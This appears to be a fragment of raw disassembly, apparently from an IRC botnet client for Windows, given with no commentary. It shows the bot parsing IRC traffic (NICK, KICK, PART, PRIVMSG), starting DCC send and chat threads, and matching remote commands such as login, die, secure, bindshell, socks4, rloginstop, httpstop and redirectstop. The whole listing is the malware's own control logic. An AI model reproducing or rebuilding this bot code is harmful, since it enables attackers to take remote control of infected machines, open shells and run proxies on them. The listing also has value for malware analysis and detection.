		pop	ecx
		jnz	short loc_401E37
		mov	dword ptr [ebp-0A4h], 1


loc_401E37:				; CODE XREF: .nsp0:00401E2Bj
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401EF6
		cmp	[edi], bl
		jz	loc_401ED4
		push	7Fh
		lea	eax, [ebp-0E00h]
		push	edi
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-0C0h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401ED4
		cmp	[ebp-84h], ebx
		jz	short loc_401ED4
		push	dword ptr [ebp-84h]
		lea	eax, [ebp-0C0h]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401ED4
		lea	eax, [ebp-0C0h]
		mov	[edi], bl
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_43362C
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		add	esp, 20h


loc_401ED4:				; CODE XREF: .nsp0:00401E4Ej
					; .nsp0:00401E6Ej ...
		push	dword ptr [ebp-84h]
		push	dword ptr [ebp+18h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401D6C
		mov	eax, [ebp+28h]
		mov	[eax], ebx
		jmp	loc_401D56
; ---------------------------------------------------------------------------


loc_401EF6:				; CODE XREF: .nsp0:00401E46j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40202B
		mov	eax, [ebp-88h]
		lea	esi, [eax+1]
		lea	eax, [ebp-0E00h]
		push	eax
		push	edi
		mov	[ebp+2Ch], esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5D
		lea	eax, [ebp-0E00h]
		push	21h
		push	eax
		call	sub_41C650
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	short loc_401F5D
		lea	eax, [edi+1]
		push	esi
		push	eax
		mov	byte ptr [edi],	3Ah
		call	sub_41C550
		push	dword ptr [ebp+8]
		add	edi, 2
		push	edi
		call	sub_41C560
		add	esp, 10h


loc_401F5D:				; CODE XREF: .nsp0:00401F28j
					; .nsp0:00401F3Fj
		lea	eax, [ebp-0C0h]
		test	eax, eax
		jz	loc_401D6C
		cmp	esi, ebx
		jz	loc_401D6C
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0C0h]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F93
		push	0Fh
		push	esi
		push	dword ptr [ebp+18h]
		jmp	loc_401DCF
; ---------------------------------------------------------------------------


loc_401F93:				; CODE XREF: .nsp0:00401F86j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_401F98:				; CODE XREF: .nsp0:00401FB9j
		cmp	[edi], bl
		jz	short loc_401FAF
		lea	eax, [ebp-0E00h]
		push	eax
		push	edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FC0


loc_401FAF:				; CODE XREF: .nsp0:00401F9Aj
		inc	esi
		add	edi, 80h
		cmp	esi, 1
		jl	short loc_401F98
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_401FC0:				; CODE XREF: .nsp0:00401FADj
		lea	eax, [ebp-0E00h]
		push	21h
		push	eax
		call	sub_41C650
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	loc_401D6C
		push	eax
		call	sub_41B890
		push	dword ptr [ebp+2Ch]
		mov	edi, eax
		call	sub_41B890
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401D6C
		push	dword ptr [ebp+8]
		shl	esi, 7
		push	dword ptr [ebp+2Ch]
		add	esi, [ebp+20h]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-45ECh]
		push	ebx
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 24h
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_40202B:				; CODE XREF: .nsp0:00401F05j
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40204D
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40207E


loc_40204D:				; CODE XREF: .nsp0:0040203Aj
		xor	esi, esi
		mov	[ebp+14h], edi


loc_402052:				; CODE XREF: .nsp0:00402076j
		mov	eax, [ebp+14h]
		cmp	[eax], bl
		jz	short loc_40206B
		push	dword ptr [ebp-90h]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020C1


loc_40206B:				; CODE XREF: .nsp0:00402057j
		add	dword ptr [ebp+14h], 80h
		inc	esi
		cmp	esi, 1
		jl	short loc_402052
		mov	esi, [ebp-8Ch]


loc_40207E:				; CODE XREF: .nsp0:0040204Bj
		push	esi
		push	offset a353	; "353"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40211F
		push	dword ptr [ebp-80h]
		push	dword ptr [ebp+10h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4020AD
		mov	eax, [ebp+28h]
		mov	dword ptr [eax], 1


loc_4020AD:				; CODE XREF: .nsp0:004020A2j
		push	dword ptr [ebp-80h]
		push	offset unk_4335D8


loc_4020B5:				; CODE XREF: .nsp0:00404399j
					; .nsp0:00404743j ...
		call	sub_41581A


loc_4020BA:				; CODE XREF: .nsp0:004036B2j
		pop	ecx


loc_4020BB:				; CODE XREF: .nsp0:004095B5j
		pop	ecx
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_4020C1:				; CODE XREF: .nsp0:00402069j
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-2C0h]
		shl	esi, 7
		push	offset unk_4335B4
		push	eax
		mov	[esi+edi], bl
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-8Ch]
		push	offset aPart	; "PART"
		call	sub_41C710
		add	esp, 18h
		test	eax, eax
		jnz	loc_401D6C
		lea	eax, [ebp-2C0h]
		push	eax
		mov	eax, [ebp-90h]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401D61
; ---------------------------------------------------------------------------


loc_40211F:				; CODE XREF: .nsp0:0040208Dj
					; DATA XREF: .nsp0:0042C298o
		push	dword ptr [ebp-8Ch]
		mov	edi, offset aPrivmsg ; "PRIVMSG"
		push	edi
		call	sub_41C710
		pop	ecx
		mov	esi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402173
		push	dword ptr [ebp-8Ch]
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402173
		push	dword ptr [ebp-8Ch]
		push	offset dword_4335A0
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4097B8
		cmp	dword_42908C, ebx
		jz	loc_4097B8


loc_402173:				; CODE XREF: .nsp0:00402139j
					; .nsp0:0040214Bj
		push	dword ptr [ebp-8Ch]
		push	edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022F3
		push	dword ptr [ebp-8Ch]
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022F3
		mov	eax, [ebp-84h]
		inc	dword ptr [ebp-80h]
		push	4
		mov	[ebp-88h], eax
		pop	esi
		mov	[ebp-0A8h], esi


loc_4021B7:				; CODE XREF: .nsp0:004023AFj
					; .nsp0:004023EBj ...
		shl	esi, 2
		mov	eax, [ebp+esi-90h]
		lea	edi, [ebp+esi-90h]
		push	eax
		push	offset dword_433598
		mov	[ebp+10h], eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402578
		push	dword ptr [ebp+esi-8Ch]
		push	offset aSend_0	; "SEND"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402442
		cmp	[ebp-0A4h], ebx
		jz	loc_40241B
		push	dword ptr [ebp+esi-88h]
		mov	edi, offset aS_2 ; "%s"
		lea	eax, [ebp-1B80h]
		push	edi
		push	eax
		call	sub_41BF36
		push	dword ptr [ebp+esi-84h]
		lea	eax, [ebp-1B94h]
		push	edi
		push	eax
		call	sub_41BF36
		push	dword ptr [ebp+esi-80h]
		call	sub_41BE29
		mov	[ebp-19FCh], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-1B9Ch], eax
		lea	eax, [ebp-0C0h]
		push	7Fh
		push	eax
		lea	eax, [ebp-1A7Ch]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-4]
		mov	[ebp-19F4h], eax
		mov	eax, [ebp-8]
		mov	[ebp-19F0h], eax
		lea	eax, [ebp-1A7Ch]
		push	eax
		lea	eax, [ebp-1B80h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_43355C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Ah
		push	eax
		call	sub_40B00E
		add	esp, 44h
		mov	[ebp-19F8h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1B9Ch]
		push	ebx
		push	eax
		push	offset loc_4167C7
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-19F8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	loc_40929E


loc_4022DD:				; CODE XREF: .nsp0:004022F1j
		cmp	[ebp-19ECh], ebx
		jnz	loc_40833C
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_4022DD
; ---------------------------------------------------------------------------


loc_4022F3:				; CODE XREF: .nsp0:00402183j
					; .nsp0:00402199j
		push	dword ptr [ebp-8Ch]
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40230C
		mov	dword ptr [ebp-4], 1


loc_40230C:				; CODE XREF: .nsp0:00402303j
		cmp	[ebp-88h], ebx
		jz	loc_401D6C
		push	offset dword_42C2A0
		push	dword ptr [ebp-88h]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402333
		cmp	[ebp-4], ebx
		jz	short loc_40233F


loc_402333:				; CODE XREF: .nsp0:0040232Cj
		lea	eax, [ebp-0C0h]
		mov	[ebp-88h], eax


loc_40233F:				; CODE XREF: .nsp0:00402331j
		cmp	[ebp-84h], ebx
		jz	loc_401D6C
		inc	dword ptr [ebp-84h]
		jz	short loc_40238B
		cmp	[ebp+18h], ebx
		jz	short loc_40238B
		lea	eax, [ebp-338h]
		push	eax
		call	sub_41B890
		push	eax
		lea	eax, [ebp-338h]
		push	dword ptr [ebp-84h]
		push	eax
		call	sub_41C510
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp-0A8h], esi
		jmp	short loc_402391
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: .nsp0:00402351j
					; .nsp0:00402356j
		mov	esi, [ebp-0A8h]


loc_402391:				; CODE XREF: .nsp0:00402389j
		mov	edi, [ebp+esi*4-90h]
		cmp	edi, ebx
		jz	loc_401D6C
		push	edi
		push	offset dword_433550
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4021B7
		mov	ecx, [ebp-88h]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023DC
		mov	eax, dword_4D10A4
		mov	eax, off_42914C[eax*4]
		cmp	[eax], bl
		jz	short loc_4023DC
		push	eax
		push	ecx
		push	offset dword_433534
		jmp	loc_401D61
; ---------------------------------------------------------------------------


loc_4023DC:				; CODE XREF: .nsp0:004023BEj
					; .nsp0:004023CEj
		push	edi
		push	offset dword_43352C
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4021B7
		mov	eax, [ebp+esi*4-8Ch]
		cmp	eax, ebx
		jz	loc_4021B7
		mov	ecx, [ebp-88h]
		cmp	byte ptr [ecx],	23h
		jz	loc_4021B7
		push	eax
		push	ecx
		push	offset dword_433514
		jmp	loc_401D61
; ---------------------------------------------------------------------------


loc_40241B:				; CODE XREF: .nsp0:00402201j
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset unk_4334D0
		push	eax
		call	sub_41BF36
		add	esp, 10h
		jmp	loc_40833C
; ---------------------------------------------------------------------------


loc_402442:				; CODE XREF: .nsp0:004021F5j
		push	dword ptr [ebp+esi-8Ch]
		push	offset aChat	; "CHAT"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40258E
		cmp	[ebp-0A4h], ebx
		jz	loc_402567
		push	1Bh
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jnz	loc_402556
		push	dword ptr [ebp+esi-84h]
		lea	eax, [ebp-2AA8h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		push	dword ptr [ebp+esi-80h]
		call	sub_41BE29
		mov	[ebp-2910h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-2AB0h], eax
		lea	eax, [ebp-0C0h]
		push	7Fh
		push	eax
		lea	eax, [ebp-2990h]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-4]
		mov	[ebp-2908h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2904h], eax
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_4334A8
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Bh
		push	eax
		call	sub_40B00E
		add	esp, 34h
		mov	[ebp-290Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2AB0h]
		push	ebx
		push	eax
		push	offset dword_416264
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-290Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_402545


loc_40252F:				; CODE XREF: .nsp0:00402543j
		cmp	[ebp-2900h], ebx
		jnz	loc_40833C
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_40252F
; ---------------------------------------------------------------------------


loc_402545:				; CODE XREF: .nsp0:0040252Dj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433470
		jmp	loc_40832D
; ---------------------------------------------------------------------------


loc_402556:				; CODE XREF: .nsp0:00402473j
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset unk_433440
		jmp	loc_40832D
; ---------------------------------------------------------------------------


loc_402567:				; CODE XREF: .nsp0:00402463j
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset unk_43340C
		jmp	loc_40832D
; ---------------------------------------------------------------------------


loc_402578:				; CODE XREF: .nsp0:004021DAj
		mov	eax, [ebp+10h]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401D6C


loc_40258E:				; CODE XREF: .nsp0:00402457j
		mov	edi, [edi]
		push	edi
		push	offset aLogin	; "login"
		mov	[ebp+10h], edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aHi_0	; "hi"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		cmp	[ebp-0A4h], ebx
		jnz	short loc_4025DF
		push	dword ptr [ebp-8Ch]
		push	offset dword_4335A0
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4097B8


loc_4025DF:				; CODE XREF: .nsp0:004025C3j
		cmp	[ebp+30h], ebx
		jnz	loc_4097B8
		xor	edi, edi
		cmp	dword_42B684, ebx
		jle	loc_402794
		mov	dword ptr [ebp+28h], offset dword_4433A0


loc_4025FD:				; CODE XREF: .nsp0:0040261Cj
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+28h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402623
		add	dword ptr [ebp+28h], 0B8h
		inc	edi
		cmp	edi, dword_42B684
		jl	short loc_4025FD
		jmp	loc_402794
; ---------------------------------------------------------------------------


loc_402623:				; CODE XREF: .nsp0:0040260Cj
		push	offset asc_433690 ; " :"
		push	dword ptr [ebp+8]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401D6C
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_4433B8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp+esi-50h]
		add	esp, 0Ch
		mov	dword ptr [ebp+28h], 0Fh
		mov	[ebp+14h], eax


loc_402678:				; CODE XREF: .nsp0:00402729j
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A0h]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BFB0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026E4
		mov	eax, [ebp+14h]
		cmp	[eax], ebx
		jz	short loc_4026E4
		lea	eax, dword_4433A0[edi]
		push	eax
		call	sub_41B890
		add	[ebp-0Ch], eax
		pop	ecx
		jz	short loc_40271F
		mov	eax, [ebp+14h]
		push	dword ptr [eax-4]
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40271F
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41869A
		add	esp, 0Ch
		jmp	short loc_40271F
; ---------------------------------------------------------------------------


loc_4026E4:				; CODE XREF: .nsp0:004026A0j
					; .nsp0:004026A7j
		mov	eax, [ebp+14h]
		cmp	[eax], ebx
		jnz	short loc_40271F
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-94h]
		mov	[ebp-92h], bl
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41869A
		add	esp, 18h


loc_40271F:				; CODE XREF: .nsp0:004026B9j
					; .nsp0:004026CDj ...
		dec	dword ptr [ebp+28h]
		sub	dword ptr [ebp+14h], 4
		cmp	[ebp+28h], ebx
		jg	loc_402678
		lea	eax, [ebp+esi-50h]
		mov	dword ptr [ebp+28h], 10h
		mov	edi, eax


loc_40273C:				; CODE XREF: .nsp0:00402788j
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A0h]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BFB0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40277F
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40277F
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41869A
		add	esp, 0Ch


loc_40277F:				; CODE XREF: .nsp0:00402764j
					; .nsp0:0040276Aj
		dec	dword ptr [ebp+28h]
		sub	edi, 4
		cmp	[ebp+28h], ebx
		jg	short loc_40273C
		mov	dword ptr [ebp-2C4h], 1


loc_402794:				; CODE XREF: .nsp0:004025F0j
					; .nsp0:0040261Ej
		mov	eax, [ebp+10h]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_4027AD
		cmp	[ebp-2C4h], ebx
		jz	loc_40299E


loc_4027AD:				; CODE XREF: .nsp0:0040279Fj
		push	dword ptr [ebp+18h]
		mov	edi, [ebp+8]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41869A
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_41869A
		push	dword ptr [ebp-88h]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41869A
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40AFA5
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41869A
		add	esp, 40h
		push	dword ptr [ebp+1Ch]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_41869A
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41BFB0
		add	esp, 14h


loc_40281F:				; CODE XREF: .nsp0:00402917j
		test	eax, eax
		jz	loc_40291C
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41BFB0
		mov	[ebp+18h], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-0A0h]
		push	offset asc_4333C8 ; ")"
		push	eax
		call	sub_41C794
		add	esp, 1Ch
		cmp	byte ptr [ebp-0A0h], 30h
		jl	short loc_40286B
		cmp	byte ptr [ebp-0A0h], 39h
		jle	short loc_402881


loc_40286B:				; CODE XREF: .nsp0:00402860j
		push	3
		lea	eax, [ebp-0A0h]
		push	offset a63	; "63"
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_402881:				; CODE XREF: .nsp0:00402869j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	short loc_4028A7
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41BE29
		pop	ecx
		mov	[ebp-94h], al
		jmp	short loc_4028BB
; ---------------------------------------------------------------------------


loc_4028A7:				; CODE XREF: .nsp0:00402890j
		call	sub_41BF92
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp-94h], dl


loc_4028BB:				; CODE XREF: .nsp0:004028A5j
		lea	eax, [ebp-0A0h]
		mov	[ebp-93h], bl
		push	eax
		call	sub_41B890
		mov	[ebp+28h], eax
		push	0Ch
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_41BC40
		mov	eax, [ebp+28h]
		add	eax, 6
		push	eax
		lea	eax, [ebp-0A0h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-94h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41869A
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41BFB0
		add	esp, 30h
		jmp	loc_40281F
; ---------------------------------------------------------------------------


loc_40291C:				; CODE XREF: .nsp0:00402821j
		mov	edi, 1FFh
		lea	eax, [ebp-4488h]
		push	edi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-4488h]
		push	edi
		push	eax
		lea	eax, [ebp-4AF0h]
		push	eax
		call	sub_41BCA0
		lea	eax, [ebp-4AF0h]
		push	offset asc_43368C ; " "
		push	eax
		call	sub_41C794
		add	esp, 20h
		mov	[ebp-90h], eax
		lea	edi, [ebp-8Ch]
		mov	dword ptr [ebp+18h], 1Fh


loc_40296C:				; CODE XREF: .nsp0:00402981j
		push	offset asc_43368C ; " "
		push	ebx
		call	sub_41C794
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp+18h]
		pop	ecx
		jnz	short loc_40296C
		mov	ecx, [ebp+esi-90h]
		lea	eax, [ebp+esi-90h]
		cmp	ecx, ebx
		jz	loc_401D6C
		add	ecx, 3
		mov	[eax], ecx


loc_40299E:				; CODE XREF: .nsp0:004027A7j
		mov	edi, [ebp+esi-90h]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+10h], edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40976B
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40976B
		push	edi
		push	offset aDie	; "die"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A20
		push	edi
		push	offset aD	; "d"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A20
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40497E
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40497E
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40496F
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40496F
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404965
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404965
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40494C
		push	edi
		push	offset aSt	; "st"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40494C
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40484E
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40484E
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40484E
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40484E
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404748
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404748
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B62
		push	dword ptr [ebp+esi-8Ch]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_433328


loc_402B46:				; CODE XREF: .nsp0:00402BB0j
					; .nsp0:00402BD6j ...
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B29C
		add	esp, 20h
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_402B62:				; CODE XREF: .nsp0:00402B31j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404626
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404626
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB2
		push	dword ptr [ebp+esi-8Ch]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_433300
		jmp	short loc_402B46
; ---------------------------------------------------------------------------


loc_402BB2:				; CODE XREF: .nsp0:00402B9Bj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDB
		push	dword ptr [ebp+esi-8Ch]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_4332E4
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402BDB:				; CODE XREF: .nsp0:00402BC1j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C04
		push	dword ptr [ebp+esi-8Ch]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_4332C8
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402C04:				; CODE XREF: .nsp0:00402BEAj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2D
		push	dword ptr [ebp+esi-8Ch]
		push	25h
		push	offset dword_4332B4
		push	offset dword_4332A8
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402C2D:				; CODE XREF: .nsp0:00402C13j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C56
		push	dword ptr [ebp+esi-8Ch]
		push	18h
		push	offset dword_433288
		push	offset dword_433278
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_402C56:				; CODE XREF: .nsp0:00402C3Cj
		push	edi
		push	offset dword_43326C
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C7F
		push	dword ptr [ebp+esi-8Ch]
		push	0Dh
		push	offset dword_433260
		push	offset dword_433254
		jmp	loc_402B46
; ---------------------------------------------------------------------------

